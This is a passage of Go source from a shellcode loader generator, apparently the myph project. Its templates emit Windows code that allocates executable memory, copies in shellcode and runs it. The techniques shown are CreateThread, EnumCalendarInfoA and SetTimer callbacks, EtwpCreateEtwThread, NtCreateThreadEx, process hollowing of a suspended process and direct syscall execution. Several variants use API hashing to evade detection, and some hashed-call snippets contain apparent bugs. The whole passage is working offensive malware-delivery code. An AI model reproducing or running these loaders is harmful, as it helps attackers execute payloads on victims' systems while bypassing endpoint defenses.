loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll) 114 | if err != nil { 115 | log.Fatal(err) 116 | } 117 | 118 | rvalue := loader.HashedCall( 119 | RtlCopyMemory, 120 | addr, 121 | (uintptr)(unsafe.Pointer(&shellcode[0])), 122 | regionsize, 123 | ); if addr != 0 { 124 | log.Fatal("Error: invalid return value") 125 | } 126 | 127 | CreateThread, err := loader.LoadFunctionFromHash(loader.HashDJB2, "65dd5ebc0ad0132a", kernel32) 128 | if err != nil { 129 | log.Fatal(err) 130 | } 131 | 132 | threadAddr := loader.HashedCall( 133 | CreateThread, 134 | 0, 135 | 0, 136 | addr, 137 | 0, 138 | 0, 139 | 0, 140 | ) 141 | 142 | WaitForSingleObject, err := loader.LoadFunctionFromHash(loader.HashDJB2, "aabf4c35522cfc3e", kernel32) 143 | if err != nil { 144 | log.Fatal(err) 145 | } 146 | 147 | 148 | loader.HashedCall( 149 | WaitForSingleObject, 150 | threadAddr, 151 | 0xFFFFFFFF, 152 | ) 153 | 154 | `) 155 | 156 | } 157 | 158 | return fmt.Sprintf(` 159 | addr, _, _ := VirtualAlloc.Call( 160 | 0, 161 | uintptr(len(shellcode)), 162 | MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, 163 | ) 164 | 165 | _, _, _ = RtlCopyMemory.Call( 166 | addr, 167 | (uintptr)(unsafe.Pointer(&shellcode[0])), 168 | uintptr(len(shellcode)), 169 | ) 170 | 171 | threadAddr, _, _ := CreateThread.Call( 172 | 0, 173 | 0, 174 | addr, 175 | 0, 176 | 0, 177 | 0, 178 | ) 179 | 180 | WaitForSingleObject.Call( 181 | threadAddr, 182 | 0xFFFFFFFF, 183 | ) 184 | `) 185 | } 186 | 187 | func (t CreateTTemplate) GetTemplate(targetProcess string) string { 188 | InformProcessUnused(targetProcess) 189 | 190 | var template = ` 191 | package main 192 | 193 | __IMPORT__STATEMENT__ 194 | 195 | __CONST__STATEMENT__ 196 | 197 | func ExecuteOrderSixtySix(shellcode []byte) { 198 | 199 | __IMPORT__INIT__ 200 | 201 | __IMPORT__PROCESS__ 202 | 203 | } 204 | ` 205 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 206 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 207 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 208 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 209 | 210 | return strings.Replace(template, "__PROCESS__", targetProcess, -1) 211 | } 212 | -------------------------------------------------------------------------------- /loaders/enumCalendarInfoA.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type EnumCalendarTemplate struct { 9 | } 10 | 11 | func (t EnumCalendarTemplate) Import() string { 12 | return fmt.Sprintf(` 13 | import ( 14 | "syscall" 15 | "unsafe" 16 | ) 17 | `) 18 | } 19 | 20 | func (t EnumCalendarTemplate) Const() string { 21 | return fmt.Sprintf(` 22 | const ( 23 | MEM_COMMIT = 0x1000 24 | MEM_RESERVE = 0x2000 25 | PAGE_EXECUTE_READWRITE = 0x40 26 | ) 27 | 28 | var ( 29 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 30 | ntdll = syscall.MustLoadDLL("ntdll.dll") 31 | 32 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 33 | EnumCalendarInfoA = kernel32.MustFindProc("EnumCalendarInfoA") 34 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 35 | 36 | LOCALE_USER_DEFAULT = 0x0400 37 | ENUM_ALL_CALENDARS = 0xFFFFFFFF 38 | CAL_SMONTHNAME1 = 0x00000015 39 | ) 40 | `) 41 | } 42 | 43 | func (t EnumCalendarTemplate) Init() string { 44 | return "" 45 | } 46 | 47 | func (t EnumCalendarTemplate) Process() string { 48 | return fmt.Sprintf(` 49 | addr, _, _ := VirtualAlloc.Call( 50 | 0, 51 | uintptr(len(shellcode)), 52 | MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, 53 | ) 54 | 55 | _, _, _ = RtlCopyMemory.Call( 56 | addr, 57 | (uintptr)(unsafe.Pointer(&shellcode[0])), 58 | uintptr(len(shellcode)), 59 | ) 60 | 61 | _, _, _ = EnumCalendarInfoA.Call( 62 | addr, 63 | (uintptr)(LOCALE_USER_DEFAULT), 64 | (uintptr)(ENUM_ALL_CALENDARS), 65 | (uintptr)(CAL_SMONTHNAME1), 66 | ) 67 | `) 68 | } 69 | 70 | func (t EnumCalendarTemplate) GetTemplate(targetProcess string) string { 71 | InformProcessUnused(targetProcess) 72 | 73 | var template = ` 74 | package main 75 | 76 | __IMPORT__STATEMENT__ 77 | 78 | __CONST__STATEMENT__ 79 | 80 | func ExecuteOrderSixtySix(shellcode []byte) { 81 | 82 | __IMPORT__PROCESS__ 83 | 84 | } 85 | ` 86 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 87 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 88 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 89 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 90 | 91 | return template 92 | } 93 | -------------------------------------------------------------------------------- /loaders/etwpCreateEtwThread.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type ETWPTemplate struct{} 9 | 10 | func (t ETWPTemplate) Import() string { 11 | return fmt.Sprintf(` 12 | import ( 13 | "syscall" 14 | "unsafe" 15 | ) 16 | `) 17 | } 18 | 19 | func (t ETWPTemplate) Const() string { 20 | return fmt.Sprintf(` 21 | const ( 22 | MEM_COMMIT = 0x1000 23 | MEM_RESERVE = 0x2000 24 | PAGE_READWRITE = 0x4 25 | PAGE_EXECUTE_READ = 0x20 26 | PAGE_EXECUTE_READWRITE = 0x40 27 | CREATE_SUSPENDED = 0x4 28 | CREATE_NO_WINDOW = 0x8000000 29 | ) 30 | 31 | var ( 32 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 33 | ntdll = syscall.MustLoadDLL("ntdll.dll") 34 | 35 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 36 | EtwpCreateEtwThread = ntdll.MustFindProc("EtwpCreateEtwThread") 37 | 38 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 39 | VirtualProtect = kernel32.MustFindProc("VirtualProtect") 40 | WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject") 41 | ) 42 | `) 43 | } 44 | 45 | func (t ETWPTemplate) Init() string { 46 | return "" 47 | } 48 | 49 | func (t ETWPTemplate) Process() string { 50 | return fmt.Sprintf(` 51 | /* allocating the appropriate amount of memory */ 52 | baseAddr, _, err := VirtualAlloc.Call( 53 | 0, 54 | uintptr(len(shellcode)), 55 | MEM_COMMIT | MEM_RESERVE, 56 | PAGE_READWRITE, 57 | ); if baseAddr == 0 { 58 | panic(err) 59 | } 60 | 61 | /* copying the shellcode to memory */ 62 | _, _, _ = RtlCopyMemory.Call( 63 | baseAddr, 64 | (uintptr)(unsafe.Pointer(&shellcode[0])), 65 | uintptr(len(shellcode)), 66 | ) 67 | 68 | /* changing permissions for our memory segment */ 69 | oldProtectCfg := PAGE_READWRITE 70 | _, _, _ = VirtualProtect.Call( 71 | baseAddr, 72 | uintptr(len(shellcode)), 73 | PAGE_EXECUTE_READ, 74 | uintptr(unsafe.Pointer(&oldProtectCfg)), 75 | ) 76 | 77 | threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0)) 78 | WaitForSingleObject.Call(threadId, 0xFFFFFFFF) 79 | `) 80 | } 81 | 82 | func (t ETWPTemplate) GetTemplate(targetProcess string) string { 83 | InformProcessUnused(targetProcess) 84 | 85 | var template = ` 86 | package main 87 | 88 | __IMPORT__STATEMENT__ 89 | 90 | __CONST__STATEMENT__ 91 | 92 | func ExecuteOrderSixtySix(shellcode []byte) { 93 | 94 | __IMPORT__PROCESS__ 95 | 96 | } 97 | ` 98 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 99 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 100 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 101 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 102 | 103 | return template 104 | 105 | } 106 | -------------------------------------------------------------------------------- /loaders/ntCreateThreadEx.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type NtCreateThreadExTemplate struct { 9 | UseApiHashing bool 10 | HashMethod string 11 | } 12 | 13 | func (t NtCreateThreadExTemplate) Import() string { 14 | if t.UseApiHashing { 15 | return fmt.Sprintf(` 16 | import ( 17 | "fmt" 18 | "log" 19 | "os" 20 | "syscall" 21 | "unsafe" 22 | 23 | "github.com/Binject/debug/pe" 24 | loader "github.com/cmepw/myph/internals" 25 | ) 26 | `) 27 | 28 | } 29 | 30 | return fmt.Sprintf(` 31 | import ( 32 | "fmt" 33 | "log" 34 | "syscall" 35 | "unsafe" 36 | ) 37 | `) 38 | } 39 | 40 | func (t NtCreateThreadExTemplate) Const() string { 41 | // same consts with or without API Hashing 42 | 43 | if t.UseApiHashing { 44 | return fmt.Sprintf(` 45 | const ( 46 | MEM_COMMIT = 0x1000 47 | MEM_RESERVE = 0x2000 48 | PAGE_EXECUTE_READ = 0x20 49 | PAGE_READWRITE = 0x04 50 | ) 51 | `) 52 | } 53 | 54 | return fmt.Sprintf(` 55 | const ( 56 | MEM_COMMIT = 0x1000 57 | MEM_RESERVE = 0x2000 58 | PAGE_EXECUTE_READ = 0x20 59 | PAGE_READWRITE = 0x04 60 | ) 61 | 62 | var ( 63 | 64 | ntdll = syscall.MustLoadDLL("ntdll.dll") 65 | 66 | NtAllocateVirtualMemory = ntdll.MustFindProc("NtAllocateVirtualMemory") 67 | NtWriteVirtualMemory = ntdll.MustFindProc("NtWriteVirtualMemory") 68 | NtProtectVirtualMemory = ntdll.MustFindProc("NtProtectVirtualMemory") 69 | NtCreateThreadEx = ntdll.MustFindProc("NtCreateThreadEx") 70 | ) 71 | `) 72 | 73 | } 74 | 75 | func (t NtCreateThreadExTemplate) Init() string { 76 | return fmt.Sprintf("\n") 77 | } 78 | 79 | func (t NtCreateThreadExTemplate) Process() string { 80 | if t.UseApiHashing { 81 | return fmt.Sprintf(` 82 | ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil { 83 | fmt.Println(err.Error()) 84 | os.Exit(1) 85 | } 86 | defer ntdll.Close() 87 | 88 | var addr uintptr 89 | regionsize := uintptr(len(shellcode)) 90 | 91 | NtAllocateVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", ntdll) 92 | if err != nil { 93 | log.Fatal(err) 94 | } 95 | 96 | rvalue := loader.HashedCall( 97 | NtAllocateVirtualMemory, 98 | uintptr(0xffffffffffffffff), 99 | uintptr(unsafe.Pointer(&addr)), 100 | 0, 101 | uintptr(unsafe.Pointer(®ionsize)), 102 | MEM_COMMIT|MEM_RESERVE, 103 | PAGE_READWRITE, 104 | ) 105 | 106 | if rvalue != 0 { 107 | fmt.Printf("Return value: %%x\n", rvalue) 108 | log.Fatal("Error: non-zero return value") 109 | } 110 | 111 | NtWriteVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "9ca2ab4726e0ba31", ntdll) 112 | if err != nil { 113 | log.Fatal(err) 114 | } 115 | 116 | rvalue = loader.HashedCall( 117 | NtWriteVirtualMemory, 118 | uintptr(0xffffffffffffffff), 119 | addr, 120 | uintptr(unsafe.Pointer(&shellcode[0])), 121 | uintptr(len(shellcode)), 122 | 0, 123 | ) 124 | 125 | if rvalue != 0 { 126 | fmt.Printf("Return value: %%x\n", rvalue) 127 | log.Fatal("Error: non-zero return value") 128 | } 129 | 130 | var oldProtect uintptr 131 | NtProtectVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "a9a7b2ecdd745a31", ntdll) 132 | if err != nil { 133 | log.Fatal(err) 134 | } 135 | 136 | rvalue = loader.HashedCall( 137 | NtProtectVirtualMemory, 138 | uintptr(0xffffffffffffffff), 139 | uintptr(unsafe.Pointer(&addr)), 140 | uintptr(unsafe.Pointer(®ionsize)), 141 | syscall.PAGE_EXECUTE_READ, 142 | uintptr(unsafe.Pointer(&oldProtect)), 143 | ) 144 | 145 | 146 | if rvalue != 0 { 147 | fmt.Printf("Return value: %%x\n", rvalue) 148 | log.Fatal("Error: non-zero return value") 149 | } 150 | 151 | var hhosthread uintptr 152 | NtCreateThreadEx, err := loader.LoadFunctionFromHash(loader.HashDJB2, "76d3925c21b6534a", ntdll) 153 | if err != nil { 154 | log.Fatal(err) 155 | } 156 | 157 | rvalue = loader.HashedCall( 158 | NtCreateThreadEx, 159 | uintptr(unsafe.Pointer(&hhosthread)), 160 | 0x1FFFFF, 161 | 0, 162 | uintptr(0xffffffffffffffff), 163 | addr, 164 | 0, 165 | uintptr(0), 166 | 0, 167 | 0, 168 | 0, 169 | 0, 170 | ) 171 | 172 | syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff) 173 | 174 | if rvalue != 0 { 175 | fmt.Printf("Return value: %%x\n", rvalue) 176 | log.Fatal("non-zero return value returned") 177 | } 178 | 179 | `) 180 | } 181 | 182 | return fmt.Sprintf(` 183 | 184 | var addr uintptr 185 | regionsize := uintptr(len(shellcode)) 186 | 187 | rvalue, _, _ := NtAllocateVirtualMemory.Call( 188 | uintptr(0xffffffffffffffff), 189 | uintptr(unsafe.Pointer(&addr)), 190 | 0, 191 | uintptr(unsafe.Pointer(®ionsize)), 192 | MEM_COMMIT|MEM_RESERVE, 193 | PAGE_READWRITE, 194 | ); if rvalue != 0 { 195 | fmt.Printf("Return value: %%x\n", rvalue) 196 | log.Fatal("Error: non-zero return value") 197 | } 198 | 199 | rvalue, _, _ = NtWriteVirtualMemory.Call( 200 | uintptr(0xffffffffffffffff), 201 | addr, 202 | uintptr(unsafe.Pointer(&shellcode[0])), 203 | uintptr(len(shellcode)), 204 | 0, 205 | ); if rvalue != 0 { 206 | fmt.Printf("Return value: %%x\n", rvalue) 207 | log.Fatal("Error: non-zero return value") 208 | } 209 | 210 | var oldProtect uintptr 211 | NtProtectVirtualMemory.Call( 212 | uintptr(0xffffffffffffffff), 213 | uintptr(unsafe.Pointer(&addr)), 214 | uintptr(unsafe.Pointer(®ionsize)), 215 | syscall.PAGE_EXECUTE_READ, 216 | uintptr(unsafe.Pointer(&oldProtect)), 217 | ); if rvalue != 0 { 218 | fmt.Printf("Return value: %%x\n", rvalue) 219 | log.Fatal("Error: non-zero return value") 220 | } 221 | 222 | var hhosthread uintptr 223 | NtCreateThreadEx.Call( 224 | uintptr(unsafe.Pointer(&hhosthread)), 225 | 0x1FFFFF, 226 | 0, 227 | uintptr(0xffffffffffffffff), 228 | addr, 229 | 0, 230 | uintptr(0), 231 | 0, 232 | 0, 233 | 0, 234 | 0, 235 | ) 236 | 237 | syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff) 238 | `) 239 | } 240 | 241 | func (t NtCreateThreadExTemplate) GetTemplate(targetProcess string) string { 242 | InformProcessUnused(targetProcess) 243 | 244 | var template = ` 245 | package main 246 | 247 | __IMPORT__STATEMENT__ 248 | 249 | __CONST__STATEMENT__ 250 | 251 | func ExecuteOrderSixtySix(shellcode []byte) { 252 | 253 | __IMPORT__INIT__ 254 | 255 | __IMPORT__PROCESS__ 256 | 257 | } 258 | ` 259 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 260 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 261 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 262 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 263 | 264 | return template 265 | } 266 | -------------------------------------------------------------------------------- /loaders/processHollowing.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | /* 9 | For more information, feel free to read this: 10 | https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf 11 | 12 | Adapted from 13 | https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs 14 | */ 15 | 16 | type ProcHollowTemplate struct{} 17 | 18 | func (t ProcHollowTemplate) Import() string { 19 | return fmt.Sprintf(` 20 | import ( 21 | "encoding/binary" 22 | "syscall" 23 | "unsafe" 24 | ) 25 | `) 26 | } 27 | 28 | func (t ProcHollowTemplate) Const() string { 29 | return fmt.Sprintf(` 30 | const ( 31 | CREATE_SUSPENDED = 0x00000004 32 | CREATE_NO_WINDOW = 0x08000000 33 | 34 | MEM_COMMIT = 0x00001000 35 | MEM_RESERVE = 0x00002000 36 | PAGE_EXECUTE_READWRITE = 0x00000040 37 | ) 38 | 39 | var ( 40 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 41 | readProcessMemory = kernel32.MustFindProc("ReadProcessMemory") 42 | writeProcessMemory = kernel32.MustFindProc("WriteProcessMemory") 43 | resumeThread = kernel32.MustFindProc("ResumeThread") 44 | WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject") 45 | 46 | ntdll = syscall.MustLoadDLL("ntdll.dll") 47 | zwQueryInformationProcess = ntdll.MustFindProc("ZwQueryInformationProcess") 48 | ) 49 | 50 | 51 | /* need to redefine this so that compile doesnt whine */ 52 | type PROCESS_BASIC_INFORMATION struct { 53 | Reserved1 uintptr 54 | PebAddress uintptr 55 | Reserved2 uintptr 56 | Reserved3 uintptr 57 | UniquePid uintptr 58 | MoreReserved uintptr 59 | } 60 | `) 61 | } 62 | 63 | func (t ProcHollowTemplate) Init() string { 64 | return "" 65 | } 66 | 67 | func (t ProcHollowTemplate) Process() string { 68 | return "" 69 | } 70 | 71 | func (t ProcHollowTemplate) GetTemplate(targetProcess string) string { 72 | var template = ` 73 | package main 74 | 75 | __IMPORT__STATEMENT__ 76 | 77 | __CONST__STATEMENT__ 78 | 79 | func createProcess(processName string) *syscall.ProcessInformation { 80 | var si syscall.StartupInfo 81 | var pi syscall.ProcessInformation 82 | 83 | commandLine, err := syscall.UTF16PtrFromString(processName); if err != nil { 84 | panic(err) 85 | } 86 | 87 | err = syscall.CreateProcess( 88 | nil, 89 | commandLine, 90 | nil, 91 | nil, 92 | false, 93 | CREATE_SUSPENDED | CREATE_NO_WINDOW, 94 | nil, 95 | nil, 96 | &si, 97 | &pi, 98 | ); if err != nil { 99 | panic(err) 100 | } 101 | 102 | return &pi 103 | } 104 | 105 | 106 | func ExecuteOrderSixtySix(shellcode []byte) { 107 | processName := "__PROCESS__" 108 | process := createProcess(processName) 109 | pHandle := uintptr(process.Process) 110 | tHandle := uintptr(process.Thread) 111 | 112 | pointerSize := unsafe.Sizeof(uintptr(0)) 113 | basicInfo := &PROCESS_BASIC_INFORMATION{} 114 | unusedTmpValue := 0 115 | 116 | /* Get Process Environment Block */ 117 | r, _, err := zwQueryInformationProcess.Call( 118 | pHandle, 119 | 0, 120 | uintptr(unsafe.Pointer(basicInfo)), 121 | pointerSize * 6, 122 | uintptr(unsafe.Pointer(&unusedTmpValue)), 123 | ); if r != 0 { 124 | panic(err) 125 | } 126 | 127 | /* Query PEB for ImageBaseAddress */ 128 | imageBaseAddress := basicInfo.PebAddress + 0x10 129 | 130 | // Get entry point of the actual process executable 131 | // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR)) 132 | // From the PEB (address we got in last call), we have to do the following: 133 | // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing 134 | // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header 135 | // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset 136 | // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address 137 | // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. 138 | 139 | 140 | // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing 141 | procAddr := make([]byte, 0x8) 142 | read := 0 143 | 144 | r, _, err = readProcessMemory.Call( 145 | pHandle, 146 | imageBaseAddress, 147 | uintptr(unsafe.Pointer(&procAddr[0])), 148 | uintptr(len(procAddr)), 149 | uintptr(unsafe.Pointer(&read)), 150 | ); if r == 0 { 151 | panic(err) 152 | } 153 | 154 | // now we can read PE header 155 | exeBaseAddr := binary.LittleEndian.Uint64(procAddr) 156 | peBuffer := make([]byte, 0x200) 157 | r, _, err = readProcessMemory.Call( 158 | pHandle, 159 | uintptr(exeBaseAddr), 160 | uintptr(unsafe.Pointer(&peBuffer[0])), 161 | uintptr(len(peBuffer)), 162 | uintptr(unsafe.Pointer(&read)), 163 | ); if r == 0 { 164 | panic(err) 165 | } 166 | 167 | // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header 168 | lfaNewPos := peBuffer[0x3c : 0x3c + 0x4] 169 | lfanew := binary.LittleEndian.Uint32(lfaNewPos) 170 | 171 | // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset 172 | rvaOffset := lfanew + 0x28 173 | 174 | // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address 175 | rvaOffsetPos := peBuffer[rvaOffset : rvaOffset + 0x4] 176 | rva := binary.LittleEndian.Uint32(rvaOffsetPos) 177 | 178 | // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. 179 | entrypointAddress := exeBaseAddr + uint64(rva) 180 | 181 | 182 | /* overwrite process memory at entrypointAddress */ 183 | r, _, err = writeProcessMemory.Call( 184 | pHandle, 185 | uintptr(entrypointAddress), 186 | uintptr(unsafe.Pointer(&shellcode[0])), 187 | uintptr(len(shellcode)), 188 | 0, 189 | ); if r == 0 { 190 | panic(err) 191 | } 192 | 193 | /* trigger shellcode execution */ 194 | r, _, err = resumeThread.Call(tHandle); if r == 0 { 195 | panic(err) 196 | } 197 | } 198 | ` 199 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 200 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 201 | return strings.Replace(template, "__PROCESS__", targetProcess, -1) 202 | } 203 | -------------------------------------------------------------------------------- /loaders/setTimer.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type SetTimerTemplate struct { 9 | } 10 | 11 | func (t SetTimerTemplate) Import() string { 12 | return fmt.Sprintf(` 13 | import ( 14 | "syscall" 15 | "unsafe" 16 | ) 17 | `) 18 | } 19 | 20 | func (t SetTimerTemplate) Const() string { 21 | return fmt.Sprintf(` 22 | const ( 23 | MEM_COMMIT = 0x1000 24 | MEM_RESERVE = 0x2000 25 | PAGE_EXECUTE_READWRITE = 0x40 26 | ) 27 | 28 | var ( 29 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 30 | user32 = syscall.MustLoadDLL("user32.dll") 31 | 32 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 33 | SetTimer = user32.MustFindProc("SetTimer") 34 | GetMessageW = user32.MustFindProc("GetMessageW") 35 | DispatchMessageW = user32.MustFindProc("DispatchMessageW") 36 | ) 37 | `) 38 | } 39 | 40 | func (t SetTimerTemplate) Init() string { 41 | return "" 42 | } 43 | 44 | func (t SetTimerTemplate) Process() string { 45 | return fmt.Sprintf(` 46 | addr, _, _ := VirtualAlloc.Call( 47 | 0, 48 | uintptr(len(shellcode)), 49 | MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, 50 | ) 51 | 52 | for i := 0; i < len(shellcode); i++ { 53 | *(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i] 54 | } 55 | 56 | var dummy uintptr = 0 57 | _, _, _ = SetTimer.Call(0, dummy, 0, addr) 58 | 59 | var msg [48]byte 60 | _, _, _ = GetMessageW.Call(uintptr(unsafe.Pointer(&msg[0])), 0, 0, 0) 61 | _, _, _ = DispatchMessageW.Call(uintptr(unsafe.Pointer(&msg[0]))) 62 | `) 63 | } 64 | 65 | func (t SetTimerTemplate) GetTemplate(targetProcess string) string { 66 | InformProcessUnused(targetProcess) 67 | 68 | var template = ` 69 | package main 70 | 71 | __IMPORT__STATEMENT__ 72 | 73 | __CONST__STATEMENT__ 74 | 75 | func ExecuteOrderSixtySix(shellcode []byte) { 76 | 77 | __IMPORT__PROCESS__ 78 | 79 | } 80 | ` 81 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 82 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 83 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 84 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 85 | 86 | return template 87 | } 88 | -------------------------------------------------------------------------------- /loaders/syscall.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type SysTemplate struct { 9 | UseApiHashing bool 10 | HashMethod string 11 | } 12 | 13 | func (t SysTemplate) Import() string { 14 | if t.UseApiHashing { 15 | return fmt.Sprintf(` 16 | import ( 17 | "fmt" 18 | "log" 19 | "os" 20 | "syscall" 21 | "unsafe" 22 | 23 | "github.com/Binject/debug/pe" 24 | loader "github.com/cmepw/myph/internals" 25 | ) 26 | `) 27 | 28 | } 29 | 30 | return fmt.Sprintf(` 31 | import ( 32 | "syscall" 33 | "unsafe" 34 | ) 35 | `) 36 | } 37 | 38 | func (t SysTemplate) Const() string { 39 | 40 | if t.UseApiHashing { 41 | return fmt.Sprintf(` 42 | const ( 43 | MEM_COMMIT = 0x1000 44 | MEM_RESERVE = 0x2000 45 | PAGE_EXECUTE_READ = 0x20 46 | PAGE_READWRITE = 0x04 47 | ) 48 | `) 49 | 50 | } 51 | 52 | return fmt.Sprintf(` 53 | const ( 54 | MEM_COMMIT = 0x1000 55 | MEM_RESERVE = 0x2000 56 | PAGE_EXECUTE_READ = 0x20 57 | PAGE_READWRITE = 0x04 58 | ) 59 | 60 | var ( 61 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 62 | ntdll = syscall.MustLoadDLL("ntdll.dll") 63 | 64 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 65 | VirtualProtect = kernel32.MustFindProc("VirtualProtect") 66 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 67 | ) 68 | 69 | `) 70 | } 71 | 72 | func (t SysTemplate) Init() string { 73 | return fmt.Sprintf("\n") 74 | } 75 | 76 | func (t SysTemplate) Process() string { 77 | if t.UseApiHashing { 78 | return fmt.Sprintf(` 79 | 80 | ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil { 81 | fmt.Println(err.Error()) 82 | os.Exit(1) 83 | } 84 | defer ntdll.Close() 85 | 86 | 87 | kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil { 88 | fmt.Println(err.Error()) 89 | os.Exit(1) 90 | } 91 | defer kernel32.Close() 92 | 93 | 94 | var addr uintptr 95 | regionsize := uintptr(len(shellcode)) 96 | VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32) 97 | if err != nil { 98 | log.Fatal(err) 99 | } 100 | 101 | addr = loader.HashedCall( 102 | VirtualAlloc, 103 | 0, 104 | regionSize, 105 | MEM_COMMIT|MEM_RESERVE, 106 | PAGE_READWRITE, 107 | ) 108 | 109 | if addr == 0 { 110 | log.Fatal("Error: null return value") 111 | } 112 | 113 | RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll) 114 | if err != nil { 115 | log.Fatal(err) 116 | } 117 | 118 | rvalue := loader.HashedCall( 119 | RtlCopyMemory, 120 | addr, 121 | (uintptr)(unsafe.Pointer(&shellcode[0])), 122 | regionsize, 123 | ); if addr != 0 { 124 | log.Fatal("Error: invalid return value") 125 | } 126 | 127 | oldProtect := PAGE_READWRITE 128 | VirtualProtect, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7126a1d34679917e", ntdll) 129 | if err != nil { 130 | log.Fatal(err) 131 | } 132 | 133 | rvalue := loader.HashedCall( 134 | VirtualProtect, 135 | addr, 136 | regionsize, 137 | PAGE_EXECUTE_READ, 138 | uintptr(unsafe.Pointer(&oldProtect)), 139 | ); if addr != 0 { 140 | log.Fatal("Error: invalid return value") 141 | } 142 | 143 | _, _, _ = syscall.SyscallN(addr) 144 | 145 | `) 146 | } 147 | 148 | return fmt.Sprintf(` 149 | addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) 150 | _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 151 | oldProtect := PAGE_READWRITE 152 | _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) 153 | _, _, _ = syscall.SyscallN(addr) 154 | `) 155 | } 156 | 157 | func (t SysTemplate) GetTemplate(targetProcess string) string { 158 | InformProcessUnused(targetProcess) 159 | 160 | var template = ` 161 | package main 162 